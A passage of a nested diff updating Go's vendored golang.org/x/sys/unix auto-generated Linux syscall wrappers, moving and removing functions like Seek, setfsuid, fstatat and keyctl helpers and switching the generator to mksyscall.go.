-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1677,9 +254,9 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1699,8 +276,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1709,8 +287,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1830,6 +409,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -2020,6 +609,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -2045,8 +649,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2065,6 +674,21 @@ func fstat(fd int, st *stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatat(dirfd int, path string, st *stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(st)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func lstat(path string, st *stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_mipsle.go
-index 964591e5..84596b30 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_mipsle.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_mipsle.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -arm -tags linux,mipsle syscall_linux.go syscall_linux_mipsx.go
-+// go run mksyscall.go -l32 -arm -tags linux,mipsle syscall_linux.go syscall_linux_mipsx.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,mipsle
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
